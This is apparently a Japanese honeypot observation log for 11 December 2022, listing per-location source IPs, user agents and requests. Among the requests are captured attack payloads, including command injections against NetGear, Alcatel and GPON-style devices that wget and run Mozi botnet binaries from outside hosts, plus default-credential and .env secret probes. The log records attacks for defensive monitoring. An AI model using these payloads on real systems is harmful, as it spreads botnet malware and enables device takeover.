2022/12/11 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2022/12/11分です。

特徴

共通

GPONルータの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為

Location:JP

NetGear製品の脆弱性を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
/.gitへのスキャン行為

を確認しました。

Location:US

Location:UK

D-link製品の脆弱性を狙うアクセス
NetGear製品の脆弱性を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
/.gitへのスキャン行為

を確認しました。

Location:SG

Spring Bootの脆弱性を狙うアクセス
curlによるスキャン行為
okhttpによるスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://218.74.69.78:52280/Mozi.a;
chmod 777 Mozi.a;
/tmp/Mozi.a jaws

他

アクセス数推移

JP：総アクセス数：129 (前日比：-8)
US：総アクセス数：76 (前日比：-30)
UK：総アクセス数：86 (前日比：-21)
SG：総アクセス数：91 (前日比：-89)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.21.240.18	United States
71	20.55.81.12	United States
1	20.198.65.92	United States
1	45.33.80.243	United States
1	45.79.181.104	United States
1	51.159.152.255	France
1	64.62.197.30	United States
1	66.175.213.4	United States
1	84.21.172.205	Bulgaria
1	92.255.85.173	Hong Kong
8	95.214.235.205	Ukraine
7	135.125.217.54	France
6	135.125.246.110	France
2	142.93.44.45	United States
1	161.35.213.88	United States
1	162.142.125.8	United States
1	167.94.138.47	United States
1	167.94.145.60	United States
1	172.104.11.4	United States
3	172.104.11.34	United States
1	172.104.242.173	United States
1	172.105.128.13	United States
1	182.121.70.208	China
2	185.180.143.11	Portugal
4	185.254.196.115	Ukraine
1	192.155.90.118	United States
2	192.155.90.220	United States
1	192.241.198.39	United States
1	192.241.198.103	United States
1	192.241.208.68	United States
1	193.35.18.223	Bulgaria
1	205.210.31.58	United States
1	205.210.31.141	United States

UserAgent一覧

件数	UserAgent
18	`-`
1	`Go-http-client/1.1`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
70	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0`
26	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0`
1	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
3	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
3	`Mozilla/5.0 zgrab/0.x`
1	`python-requests/2.28.1`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
1		`\x03`
15		`\x16\x03\x01`
1	CONNECT	`discordapp[.]com:443`	HTTP/1.1
1	GET	`/.env.development`	HTTP/1.1
1	GET	`/.env.dist`	HTTP/1.1
1	GET	`/.env.old`	HTTP/1.1
1	GET	`/.env.prod`	HTTP/1.1
1	GET	`/.env.production`	HTTP/1.1
1	GET	`/.env.project`	HTTP/1.1
1	GET	`/.env.save`	HTTP/1.1
28	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/.json`	HTTP/1.1
1	GET	`/?phpinfo=1`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/admin-app/.env`	HTTP/1.1
1	GET	`/api/.env`	HTTP/1.1
1	GET	`/app/.env`	HTTP/1.1
1	GET	`/application/.env`	HTTP/1.1
1	GET	`/apps/.env`	HTTP/1.1
1	GET	`/back/.env`	HTTP/1.1
1	GET	`/cms/.env`	HTTP/1.1
1	GET	`/config.json`	HTTP/1.1
1	GET	`/core/.env`	HTTP/1.1
1	GET	`/cp/.env`	HTTP/1.1
1	GET	`/debug/default/view?panel=config`	HTTP/1.1
1	GET	`/development/.env`	HTTP/1.1
1	GET	`/docker/.env`	HTTP/1.1
1	GET	`/enviroments/.env.production`	HTTP/1.1
1	GET	`/enviroments/.env`	HTTP/1.1
6	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/fedex/.env`	HTTP/1.1
1	GET	`/frontend_dev.php/$`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/info.php`	HTTP/1.1
1	GET	`/laravel/.env`	HTTP/1.1
1	GET	`/live_env`	HTTP/1.1
1	GET	`/local/.env`	HTTP/1.1
1	GET	`/phpinfo.php`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
1	GET	`/private/.env`	HTTP/1.1
1	GET	`/rest/.env`	HTTP/1.1
1	GET	`/script/.env`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//182[.]121[.]70[.]208:40662/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`/shared/.env`	HTTP/1.1
1	GET	`/solr/`	HTTP/1.1
1	GET	`/sources/.env`	HTTP/1.1
1	GET	`/system/.env`	HTTP/1.1
1	GET	`/webfig/`	HTTP/1.1
1	POST	`/.env.development`	HTTP/1.1
1	POST	`/.env.dist`	HTTP/1.1
1	POST	`/.env.old`	HTTP/1.1
1	POST	`/.env.prod`	HTTP/1.1
1	POST	`/.env.production`	HTTP/1.1
1	POST	`/.env.project`	HTTP/1.1
1	POST	`/.env.save`	HTTP/1.1
1	POST	`/.env`	HTTP/1.1
1	POST	`/admin-app/.env`	HTTP/1.1
1	POST	`/api/.env`	HTTP/1.1
1	POST	`/app/.env`	HTTP/1.1
1	POST	`/application/.env`	HTTP/1.1
1	POST	`/apps/.env`	HTTP/1.1
1	POST	`/back/.env`	HTTP/1.1
1	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/cms/.env`	HTTP/1.1
1	POST	`/core/.env`	HTTP/1.1
1	POST	`/cp/.env`	HTTP/1.1
1	POST	`/development/.env`	HTTP/1.1
1	POST	`/docker/.env`	HTTP/1.1
1	POST	`/enviroments/.env.production`	HTTP/1.1
1	POST	`/enviroments/.env`	HTTP/1.1
1	POST	`/fedex/.env`	HTTP/1.1
1	POST	`/laravel/.env`	HTTP/1.1
1	POST	`/live_env`	HTTP/1.1
1	POST	`/local/.env`	HTTP/1.1
1	POST	`/private/.env`	HTTP/1.1
1	POST	`/rest/.env`	HTTP/1.1
1	POST	`/script/.env`	HTTP/1.1
1	POST	`/shared/.env`	HTTP/1.1
1	POST	`/sources/.env`	HTTP/1.1
1	POST	`/system/.env`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	45.33.80.243	United States
1	45.79.181.94	United States
1	45.79.181.251	United States
5	50.31.21.11	United States
27	54.37.79.75	France
1	65.49.20.122	United States
1	68.183.54.68	United States
1	79.124.62.106	Bulgaria
2	84.21.172.205	Bulgaria
1	92.255.85.173	Hong Kong
2	109.237.98.226	Russia
1	134.195.208.121	United States
2	152.89.196.54	Russia
2	162.142.125.211	United States
2	172.104.11.4	United States
1	172.104.11.51	United States
2	172.105.128.11	United States
1	172.105.128.13	United States
3	183.136.225.32	China
2	185.81.157.121	France
1	185.146.232.180	Seychelles
9	185.254.196.223	Ukraine
3	192.155.90.118	United States
1	192.241.212.6	United States
1	193.47.61.60	Bulgaria
2	194.55.186.216	Bulgaria

UserAgent一覧

件数	UserAgent
19	`-`
5	`Mozilla/5.0 (Linux; Android 7.0; SAMSUNG-SM-J327A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Mobile Safari/537.36`
2	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36 OPR/90.0.4480.100`
3	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36`
39	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
4	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
1	`Mozilla/5.0 zgrab/0.x`

リクエスト内容一覧

件数	Method	Request	Protocol
4		`\x03`
1		`\x16\x03\x01\x01H\x01`
12		`\x16\x03\x01`
41	GET	`/.env`	HTTP/1.1
1	GET	`/HNAP1`	HTTP/1.1
1	GET	`/cgi-bin/masterCGI?ping=nomip&user=;cd${IFS}/tmp;wget${IFS}http[:]//185[.]132[.]53[.]105/f/strs.sh${IFS}-O-${IFS}>sfs;chmod${IFS}777${IFS}sfs;sh${IFS}sfs${IFS}Alcatel;`	HTTP/1.1
1	GET	`/druid/index.html`	HTTP/1.1
1	GET	`/evox/about`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/nmaplowercheck1670689064`	HTTP/1.1
1	GET	`/rdweb/`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	HEAD	`/`	HTTP/1.1
4	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/sdk`	HTTP/1.1
1	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	20.251.160.145	United States
2	45.33.80.243	United States
1	45.79.128.205	United States
1	45.79.181.104	United States
1	45.79.181.179	United States
1	45.79.181.251	United States
26	54.37.79.75	France
1	64.62.197.56	United States
1	66.175.213.4	United States
1	79.124.62.106	Bulgaria
1	84.21.172.128	Bulgaria
1	85.209.135.214	Bulgaria
6	90.151.171.106	Russia
8	90.151.171.108	Russia
3	92.255.85.173	Hong Kong
2	109.237.97.180	Russia
1	115.61.106.188	China
2	162.142.125.222	United States
2	167.248.133.45	United States
1	172.104.11.4	United States
1	172.104.11.34	United States
1	172.105.128.11	United States
1	172.105.128.12	United States
1	181.214.206.186	United States
4	183.136.225.32	China
8	185.254.196.223	Ukraine
1	192.155.90.220	United States
1	192.241.197.156	United States
1	192.241.213.55	United States
1	193.35.18.223	Bulgaria
1	194.55.186.216	Bulgaria
1	205.210.31.10	United States
1	223.130.30.104	India

UserAgent一覧

件数	UserAgent
22	`-`
1	`Go-http-client/1.1`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; de-de) AppleWebKit/534.15+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4`
4	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
14	`Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0 (+https[:]//best-proxies.ru/faq/#from)`
1	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36`
35	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
2	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
2	`Mozilla/5.0 zgrab/0.x`

リクエスト内容一覧

件数	Method	Request	Protocol
4		`\x03`
1		`\x16\x03\x01\x01H\x01`
13		`\x16\x03\x01`
1	CONNECT	`api[.]ipify[.]org:443`	HTTP/1.1
3	CONNECT	`check.best-proxies[.]ru:443`	HTTP/1.1
1	CONNECT	`checkip[.]amazonaws[.]com:443`	HTTP/1.1
1	CONNECT	`discordapp[.]com:443`	HTTP/1.1
1	CONNECT	`eth0[.]me:443`	HTTP/1.1
1	CONNECT	`v4[.]ident[.]me:443`	HTTP/1.1
36	GET	`/.env`	HTTP/1.1
1	GET	`/.git/config`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
5	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/portal/redlion`	HTTP/1.1
2	GET	`/robots.txt`	HTTP/1.1
1	GET	`/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//223[.]130[.]30[.]104:49353/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1`	HTTP/1.0
1	GET	`http[:]//api[.]ipify[.]org/?Z72612114222Q1`	HTTP/1.1
3	GET	`http[:]//check[.]best-proxies.ru/ip.php?Z72612114222Q1`	HTTP/1.1
1	GET	`http[:]//checkip[.]amazonaws[.]com?Z72612114222Q1`	HTTP/1.1
1	GET	`http[:]//eth0[.]me?Z72612114222Q1`	HTTP/1.1
1	GET	`http[:]//v4[.]ident[.]me?Z72612114222Q1`	HTTP/1.1
1	HEAD	`/`	HTTP/1.1
1	POST	`/HNAP1/`	HTTP/1.0
2	POST	`/boaform/admin/formLogin`	HTTP/1.1
2	PRI	`*`	HTTP/2.0

Location:SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	1.14.7.100	China
3	2.57.122.80	Romania
1	18.143.60.138	United States
1	23.251.102.90	United States
1	45.33.80.243	United States
1	45.79.128.205	United States
1	45.79.181.179	United States
2	45.79.181.251	United States
6	47.90.247.53	United States
5	50.31.21.9	United States
26	51.79.29.48	Canada
1	64.62.197.112	United States
2	64.227.132.37	United States
1	66.54.99.113	United States
1	68.183.54.68	United States
1	79.124.62.106	Bulgaria
1	89.248.165.245	United Kingdom
1	125.42.245.71	China
4	139.59.165.170	Singapore
2	152.89.196.54	Russia
2	162.142.125.211	United States
2	162.142.125.212	United States
1	172.104.11.34	United States
2	172.104.11.46	United States
1	172.104.11.51	United States
2	172.105.128.11	United States
1	172.173.230.69	Germany
2	179.43.177.154	Panama
1	181.214.206.186	United States
6	183.136.225.32	China
1	192.155.90.118	United States
1	192.241.206.136	United States
1	192.241.208.82	United States
3	194.55.186.216	Bulgaria
1	205.210.31.137	United States
1	205.210.31.165	United States
1	218.74.69.78	China

UserAgent一覧

件数	UserAgent
26	`-`
1	`Hello, world`
3	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0`
5	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; de-de) AppleWebKit/534.15+ (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
6	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
27	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; U; Linux x86_64; en-AU) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/3.9174IT`
3	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
2	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
2	`Mozilla/5.0 zgrab/0.x`
4	`Mozilla/5.0`
1	`Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36`
1	`curl/7.75.0`
1	`okhttp/5.0.0-alpha.10`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`-`
3		`\x03`
1		`\x16\x03\x01\x02`
17		`\x16\x03\x01`
29	GET	`/.env`	HTTP/1.1
1	GET	`/.hg/`	HTTP/1.1
1	GET	`/.sendgrid`	HTTP/1.1
1	GET	`/1670614560`	HTTP/1.1
3	GET	`/HNAP1`	HTTP/1.1
1	GET	`/PSIA/index`	HTTP/1.1
1	GET	`/actuator/health`	HTTP/1.1
1	GET	`/boaform/admin/formLogin?username=adminisp&psd=adminisp`	HTTP/1.0
1	GET	`/boaform/admin/formLogin?username=ec8&psd=ec8`	HTTP/1.0
2	GET	`/evox/about`	HTTP/1.1
8	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/hudson`	HTTP/1.1
1	GET	`/msoosboos.aspx`	HTTP/1.1
1	GET	`/nmaplowercheck1670695472`	HTTP/1.1
3	GET	`/robots.txt`	HTTP/1.1
1	GET	`/sendgrid.env`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+http[:]//218[.]74[.]69[.]78:52280/Mozi.a;chmod+777+Mozi[.]a;/tmp/Mozi.a+jaws`	HTTP/1.1
1	GET	`/showLogin.cc`	HTTP/1.1
1	GET	`/status`	HTTP/1.1
2	HEAD	`/`	HTTP/1.1
3	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/onvif/index`	HTTP/1.1
2	POST	`/sdk`	HTTP/1.1
2	PRI	`*`	HTTP/2.0